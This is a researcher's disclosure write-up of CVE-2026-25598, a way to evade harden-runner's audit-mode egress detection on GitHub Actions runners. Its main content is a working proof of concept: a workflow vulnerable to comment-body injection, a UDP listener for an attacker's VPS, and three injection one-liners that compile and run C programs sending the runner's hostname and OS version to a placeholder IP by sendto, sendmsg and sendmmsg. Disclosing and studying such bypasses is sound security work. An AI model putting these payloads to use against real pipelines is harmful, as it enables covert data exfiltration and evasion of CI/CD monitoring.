devansh

[CVE-2026-25598] Bypassing Outbound Connections Detection in harden-runner

cool

Table of Contents


Intro Lore

GitHub Actions have become a prime vector for supply chain attacks, with attackers exploiting workflow misconfigurations to exfiltrate secrets, deploy malware, or pivot to downstream CI/CD pipelines. Notable incidents, such as the widespread compromise of tj-actions/changed-files in March 2025 (which affected over 23,000 repositories and leaked secrets via modified action versions) highlight this risk.

Ephemeral runners can leak sensitive data if outbound traffic is not tightly controlled. Egress traffic—outbound connections from workflows—remains a significant blind spot, enabling data theft through techniques such as DNS tunneling, HTTP beacons, or raw socket communication.

To mitigate these threats, the ecosystem has spawned specialized GitHub Actions focused on runner hardening. We will discuss about one such action i.e. Step Security's harden-runner

It is a widely adopted CI/CD security agent that functions similarly to an endpoint detection and response (EDR) tool for GitHub Actions runners. It monitors network egress, enforces domain/IP allowlists, audits file integrity, and detects process anomalies in real time, including in untrusted workflows triggered by pull requests or issue comments.

Tools like these often utilize eBPF hooks or iptables to enforce network policies at runtime. They aim to provide "set-it-and-forget-it" protection by detecting and preventing exfiltration attempts.

These controls are particularly valuable in public repositories or environments where third-party actions and untrusted contributions introduce elevated risk.

Harden-runner monitors outbound connections through network syscalls. Most tools and commands trigger detectable patterns. But UDP, with its connectionless nature, presented an interesting attack surface. some UDP syscalls behave differently enough that they fall outside the monitoring scope.

What follows are three practical techniques that exploited this gap.

Note: This vulnerability only affected audit mode. When using egress-policy: block, these connections are properly blocked. It requires the attacker to already have code execution capabilities within the GitHub Actions workflow (e.g., through workflow injection or compromised dependencies)

Affected Versions


Vulnerabilities

Bypass using sendto

A minimal PoC for demonstrating how to evade harden-runner and make outbound connections + exfil data

Steps to reproduce

1- Set up a GitHub repo with the following workflow:

name: Process Issue Comment
on:
  issue_comment:
    types: [created]
jobs:
  process-comment:
    runs-on: ubuntu-latest
   
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
        with:
          egress-policy: audit
         
      - name: Process comment body
        run: |
          echo "Processing comment: ${{ github.event.comment.body }}"
      - name: Making a few outbound connections
        run: |
          dig example.com
          curl google.com
   
      - name: Display Harden-Runner Summary
        if: always()
        run: |
          echo "Check the workflow logs and Harden-Runner summary for detection alerts."

2- Spin up a VPS, obtain public IPv4

3- Run the following Python UDP Server

import socket
import sys
import datetime

# Configuration
HOST = '0.0.0.0' # Listen on all interfaces
PORT = 1053 # Change to 53 if using standard DNS (requires root or capabilities)

def log_packet(data, addr):
    timestamp = datetime.datetime.now().isoformat()
    print(f"[{timestamp}] Received packet from {addr}:")
    print(f" Length: {len(data)} bytes")
    print(f" Hex dump: {data.hex()}")
    print(f" ASCII: {data.decode('utf-8', errors='ignore')}")
    
    # Optional: If expecting DNS query, add simple decoding logic here
    if len(data) >= 12 and data[2:4] == b'\x01\x00': # Basic DNS query flag check
        print(" Detected: Likely DNS query")

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((HOST, PORT))
    print(f"UDP server listening on {HOST}:{PORT}...")
    
    try:
        while True:
            data, addr = sock.recvfrom(1024) # Buffer size for typical DNS packets
            log_packet(data, addr)
    except KeyboardInterrupt:
        print("\nServer stopped.")
    finally:
        sock.close()

if __name__ == "__main__":
    main()
python3 udp_server.py

Screenshot 2025-11-11 at 3

4- Open a Issue in the repository, and add the following comment:

"; printf '#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"YOUR_VPS_IP_HERE",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);sendto(s,b,strlen(b),0,(struct sockaddr*)&a,28);}\n' > u.c && gcc -o u u.c && ./u #

Note: Replace YOUR_VPS_IP_HERE with your VPS IP address (where UDP listener is running)

5- Runner name and OS version will be exfiltrated to your VPS's UDP listener

Screenshot 2025-11-11 at 3

6- No outbound connection to your VPS will be detected by StepSecurity

Screenshot 2025-11-11 at 3

How it works?

The payload uses printf to output a complete, compilable C source file to u.c, which is then compiled with gcc and executed. The generated source code is as follows (with minor formatting for clarity):

#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>

int main() {
    int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
    struct sockaddr_in a = {2, htons(1053)};
    inet_pton(2, "YOUR_VPS_IP_HERE", &a.sin_addr);
    
    char n[64], b[128];
    struct utsname u;
    gethostname(n, 64);
    uname(&u);
    snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
    
    sendto(s, b, strlen(b), 0, (struct sockaddr*)&a, 28); // 28 = sizeof(sockaddr_in) + padding
}

What it does?


Bypass using sendmsg

"; printf '#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\n#include <stdio.h>\n#include <string.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"VPS_IP_ADDRESS",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);struct iovec i={b,strlen(b)};struct msghdr m={&a,sizeof(a),&i,1,0,0,0};sendmsg(s,&m,0);}\n' > u.c && gcc -o u u.c && ./u #"

Screenshot 2025-11-19 at 12

Screenshot 2025-11-19 at 12

How it works?

The payload executes a shell command that leverages printf to generate a complete, compilable C source file and redirect it to u.c. This file is subsequently compiled using gcc into an executable named u, which is then run immediately. The generated source code is as follows (with minor formatting for clarity):

#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <string.h>

int main() {
    int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
    struct sockaddr_in a = {2, htons(1053)};
    inet_pton(2, "VPS_IP_HERE", &a.sin_addr);
    
    char n[64], b[128];
    struct utsname u;
    gethostname(n, 64);
    uname(&u);
    snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
    
    struct iovec i = {b, strlen(b)};
    struct msghdr m = {&a, sizeof(a), &i, 1, 0, 0, 0};
    sendmsg(s, &m, 0);
}

What it does?


Bypass using sendmmsg

"; printf '#define _GNU_SOURCE\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\n#include <stdio.h>\n#include <string.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"VPS_IP_HERE",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);struct iovec iov={b,strlen(b)};struct msghdr msg={&a,sizeof(a),&iov,1,NULL,0,0};struct mmsghdr mmsg={.msg_hdr=msg,.msg_len=0};sendmmsg(s,&mmsg,1,0);close(s);}\n' > u.c && gcc -o u u.c && ./u #"

Screenshot 2025-11-19 at 1

Screenshot 2025-11-19 at 1

How it works?

The payload executes a shell command that leverages printf to generate a complete, compilable C source file and redirect it to u.c. This file is subsequently compiled using gcc into an executable named u, which is then run immediately. The generated source code requires _GNU_SOURCE for sendmmsg support and is as follows (with minor formatting for clarity):

#define _GNU_SOURCE
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <string.h>

int main() {
    int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
    struct sockaddr_in a = {2, htons(1053)};
    inet_pton(2, "VPS_IP_HERE", &a.sin_addr);
    
    char n[64], b[128];
    struct utsname u;
    gethostname(n, 64);
    uname(&u);
    snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
    
    struct iovec iov = {b, strlen(b)};
    struct msghdr msg = {&a, sizeof(a), &iov, 1, NULL, 0, 0};
    struct mmsghdr mmsg = {.msg_hdr = msg, .msg_len = 0};
    sendmmsg(s, &mmsg, 1, 0);
    close(s);
}

What it does?


Closing Thoughts

These bypasses highlight a fundamental challenge in CI/CD security monitoring, the gap between what tools observe and what the underlying system permits. While harden-runner effectively monitors common network patterns through standard syscalls like connect() and high-level APIs, the raw socket interface—particularly UDP's connectionless syscalls presented a harder detection problem.

The three techniques demonstrated (sendto, sendmsg, and sendmmsg) exploit this blind spot not through sophisticated evasion, but by leveraging legitimate kernel interfaces that fall outside the monitoring scope.

Key Takeaways:

GitHub Advisory: CVE-2026-25598

The vulnerability has been patched in harden-runner v2.14.2 for the Community Tier.